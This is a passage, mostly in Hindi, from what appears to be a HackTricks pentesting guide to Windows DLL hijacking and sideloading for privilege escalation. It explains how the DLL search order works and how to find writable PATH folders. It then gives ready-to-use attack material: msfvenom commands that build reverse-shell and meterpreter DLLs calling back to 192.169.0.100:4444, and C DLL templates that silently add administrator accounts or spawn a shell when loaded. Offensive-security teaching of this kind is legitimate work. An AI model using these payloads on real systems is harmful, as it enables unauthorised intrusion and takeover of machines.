- अपने DllPath डायरेक्टरी में एक दुष्ट xmllite.dll (जो आवश्यक फ़ंक्शनों को एक्सपोर्ट करता है या असली DLL का प्रॉक्सी करता है) रखें।
|
|
||||||
- उपरोक्त तकनीक का उपयोग करके xmllite.dll को नाम से लुकअप करने के लिए जाना जाता एक साइन किया गया बाइनरी लॉन्च करें। लोडर दिए गए DllPath के माध्यम से इम्पोर्ट को रेसॉल्व करता है और आपकी DLL को sideloads कर देता है।
|
|
||||||
|
|
||||||
यह तकनीक इन-दी-वाइल्ड में मल्टी-स्टेज sideloading चेन चलाने के लिए देखी गई है: एक प्रारंभिक लॉन्चर एक helper DLL ड्रॉप करता है, जो फिर एक Microsoft-signed, hijackable बाइनरी को spawn करता है जिसमें एक कस्टम DllPath होता है ताकि स्टेजिंग डायरेक्टरी से attacker की DLL को जबरदस्ती लोड किया जा सके।
|
|
||||||
|
|
||||||
|
|
||||||
#### Exceptions on dll search order from Windows docs
|
|
||||||
|
|
||||||
Certain exceptions to the standard DLL search order are noted in Windows documentation:
|
|
||||||
|
|
||||||
- When a **DLL that shares its name with one already loaded in memory** is encountered, the system bypasses the usual search. Instead, it performs a check for redirection and a manifest before defaulting to the DLL already in memory. **In this scenario, the system does not conduct a search for the DLL**.
|
|
||||||
- In cases where the DLL is recognized as a **known DLL** for the current Windows version, the system will utilize its version of the known DLL, along with any of its dependent DLLs, **forgoing the search process**. The registry key **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** holds a list of these known DLLs.
|
|
||||||
- Should a **DLL have dependencies**, the search for these dependent DLLs is conducted as though they were indicated only by their **module names**, regardless of whether the initial DLL was identified through a full path.
|
|
||||||
|
|
||||||
### Escalating Privileges
|
|
||||||
|
|
||||||
**आवश्यकताएँ**:
|
|
||||||
|
|
||||||
- पहचानें एक ऐसा प्रोसेस जो अलग-अलग **privileges** (horizontal या lateral movement) के अंतर्गत चलता है या चलेगा, और जो **DLL से वंचित** हो।
|
|
||||||
- सुनिश्चित करें कि किसी भी **डायरेक्टरी** के लिए जहाँ **DLL** की **खोज की जाएगी**, उस पर **write access** उपलब्ध हो। यह स्थान executable की डायरेक्टरी या system path के भीतर कोई डायरेक्टरी हो सकता है।
|
|
||||||
|
|
||||||
हाँ, आवश्यकताएँ ढूँढना जटिल है क्योंकि **by default it's kind of weird to find a privileged executable missing a dll** और यह और भी **more weird to have write permissions on a system path folder** (आप सामान्यतः ऐसा नहीं कर सकते)। लेकिन, misconfigured environments में यह संभव है.\
|
|
||||||
यदि आप भाग्यशाली हैं और आवश्यकताओं को पूरा करते हैं, तो आप [UACME](https://github.com/hfiref0x/UACME) प्रोजेक्ट देख सकते हैं। भले ही **main goal of the project is bypass UAC**, आप वहाँ Windows संस्करण के लिए Dll hijacking का एक **PoC** पा सकते हैं जिसका आप उपयोग कर सकते हैं (संभवतः केवल उस फ़ोल्डर के पाथ को बदलकर जहाँ आपके पास write permissions हैं)।
|
|
||||||
|
|
||||||
ध्यान दें कि आप **किसी फ़ोल्डर में अपनी permissions जाँच सकते हैं** ऐसा करके:
|
|
||||||
```bash
|
|
||||||
accesschk.exe -dqv "C:\Python27"
|
|
||||||
icacls "C:\Python27"
|
|
||||||
```
|
|
||||||
और **PATH के अंदर मौजूद सभी फ़ोल्डरों की permissions जांचें**:
|
|
||||||
```bash
|
|
||||||
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
|
|
||||||
```
|
|
||||||
आप किसी executable के imports और किसी dll के exports को भी निम्न के साथ जांच सकते हैं:
|
|
||||||
```c
|
|
||||||
dumpbin /imports C:\path\Tools\putty\Putty.exe
|
|
||||||
dumpbin /export /path/file.dll
|
|
||||||
```
|
|
||||||
For a full guide on how to **Dll Hijacking का दुरुपयोग करके privileges बढ़ाने के लिए** with permissions to write in a **System Path folder** check:
|
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
|
||||||
dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md
|
|
||||||
{{#endref}}
|
|
||||||
|
|
||||||
### स्वचालित उपकरण
|
|
||||||
|
|
||||||
[**Winpeas** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) यह जांचेगा कि क्या आपके पास system PATH के किसी भी फ़ोल्डर में लिखने की अनुमति है।\
|
|
||||||
इस vulnerability का पता लगाने के लिए अन्य रोचक स्वचालित टूल्स में **PowerSploit functions** शामिल हैं: _Find-ProcessDLLHijack_, _Find-PathDLLHijack_ और _Write-HijackDll._
|
|
||||||
|
|
||||||
### उदाहरण
|
|
||||||
|
|
||||||
यदि आपको कोई exploitable scenario मिले तो इसे सफलतापूर्वक exploit करने के लिए सबसे महत्वपूर्ण चीज़ों में से एक होगी कि आप ऐसा dll बनाएं जो कम से कम उन सभी functions को export करे जिन्हें executable उससे import करेगा। किसी भी हाल में, ध्यान रखें कि Dll Hijacking उपयोगी होता है [escalate from Medium Integrity level to High **(bypassing UAC)**](../authentication-credentials-uac-and-efs.md#uac) या from[ **High Integrity to SYSTEM**](#from-high-integrity-to-system)**.** आप execution के लिए dll hijacking पर केंद्रित इस dll hijacking study में **एक वैध dll कैसे बनाएं** इसका एक उदाहरण पा सकते हैं: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\
|
|
||||||
इसके अलावा, अगले सेक्शन में आप कुछ बेसिक dll कोड्स पा सकते हैं जो **टेम्पलेट्स** के रूप में या उन non required functions को export करने वाले dll बनाने के लिए उपयोगी हो सकते हैं।
|
|
||||||
|
|
||||||
## **Dlls बनाना और संकलित करना**
|
|
||||||
|
|
||||||
### **Dll Proxifying**
|
|
||||||
|
|
||||||
बुनियादी तौर पर एक **Dll proxy** वह Dll होता है जो लोड होने पर आपका malicious code execute कर सके, लेकिन साथ ही अपेक्षित रूप में expose और work भी करे—यह सब असली लाइब्रेरी को कॉल relay करके किया जाता है।
|
|
||||||
|
|
||||||
टूल [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) या [**Spartacus**](https://github.com/Accenture/Spartacus) के साथ आप वास्तव में एक executable निर्दिष्ट कर सकते हैं और वह library चुन सकते हैं जिसे आप proxify करना चाहते हैं और एक proxified dll generate कर सकते हैं, या Dll निर्दिष्ट करके proxified dll generate कर सकते हैं।
|
|
||||||
|
|
||||||
### **Meterpreter**
|
|
||||||
|
|
||||||
**Get rev shell (x64):**
|
|
||||||
```bash
|
|
||||||
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
|
|
||||||
```
|
|
||||||
**एक meterpreter (x86) प्राप्त करें:**
|
|
||||||
```bash
|
|
||||||
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
|
|
||||||
```
|
|
||||||
**एक उपयोगकर्ता बनाएं (x86 — मैंने x64 संस्करण नहीं देखा):**
|
|
||||||
```
|
|
||||||
msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll
|
|
||||||
```
|
|
||||||
### अपना
|
|
||||||
|
|
||||||
ध्यान दें कि कई मामलों में जो Dll आप compile करते हैं उसे उन फ़ंक्शन्स को **export several functions** करना चाहिए जो victim process द्वारा लोड किए जाएंगे; अगर ये फ़ंक्शन्स मौजूद नहीं हैं तो **binary won't be able to load** उन्हें और **exploit will fail**।
|
|
||||||
```c
|
|
||||||
// Tested in Win10
|
|
||||||
// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
|
|
||||||
#include <windows.h>
|
|
||||||
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
|
|
||||||
switch(dwReason){
|
|
||||||
case DLL_PROCESS_ATTACH:
|
|
||||||
system("whoami > C:\\users\\username\\whoami.txt");
|
|
||||||
WinExec("calc.exe", 0); //This doesn't accept redirections like system
|
|
||||||
break;
|
|
||||||
case DLL_PROCESS_DETACH:
|
|
||||||
break;
|
|
||||||
case DLL_THREAD_ATTACH:
|
|
||||||
break;
|
|
||||||
case DLL_THREAD_DETACH:
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
return TRUE;
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
```c
|
|
||||||
// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
|
|
||||||
// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll
|
|
||||||
|
|
||||||
#include <windows.h>
|
|
||||||
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
|
|
||||||
if (dwReason == DLL_PROCESS_ATTACH){
|
|
||||||
system("cmd.exe /k net localgroup administrators user /add");
|
|
||||||
ExitProcess(0);
|
|
||||||
}
|
|
||||||
return TRUE;
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
```c
|
|
||||||
//x86_64-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL main.cpp
|
|
||||||
//x86_64-w64-mingw32-g++ -shared -o main.dll main.o -Wl,--out-implib,main.a
|
|
||||||
|
|
||||||
#include <windows.h>
|
|
||||||
|
|
||||||
int owned()
|
|
||||||
{
|
|
||||||
WinExec("cmd.exe /c net user cybervaca Password01 ; net localgroup administrators cybervaca /add", 0);
|
|
||||||
exit(0);
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
|
|
||||||
{
|
|
||||||
owned();
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
```c
|
|
||||||
//Another possible DLL
|
|
||||||
// i686-w64-mingw32-gcc windows_dll.c -shared -lws2_32 -o output.dll
|
|
||||||
|
|
||||||
#include<windows.h>
|
|
||||||
#include<stdlib.h>
|
|
||||||
#include<stdio.h>
|
|
||||||
|
|
||||||
void Entry (){ //Default function that is executed when the DLL is loaded
|
|
||||||
system("cmd");
|
|
||||||
}
|
|
||||||
|
|
||||||
BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
|
|
||||||
switch (ul_reason_for_call){
|
|
||||||
case DLL_PROCESS_ATTACH:
|
|
||||||
CreateThread(0,0, (LPTHREAD_START_ROUTINE)Entry,0,0,0);
|
|
||||||
break;
|
|
||||||
case DLL_THREAD_ATTACH:
|
|
||||||
case DLL_THREAD_DETACH:
|
|
||||||
case DLL_PROCESS_DEATCH:
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
return TRUE;
|
|
||||||
}
|
|
||||||
```
|
|
||||||
## संदर्भ
|
|
||||||
|
|
||||||
- [https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e](https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e)
|
|
||||||
- [https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html](https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html)
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
- [Check Point Research – Nimbus Manticore Deploys New Malware Targeting Europe](https://research.checkpoint.com/2025/nimbus-manticore-deploys-new-malware-targeting-europe/)
|
|
||||||
|
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
|
Loading…
x
Reference in New Issue
Block a user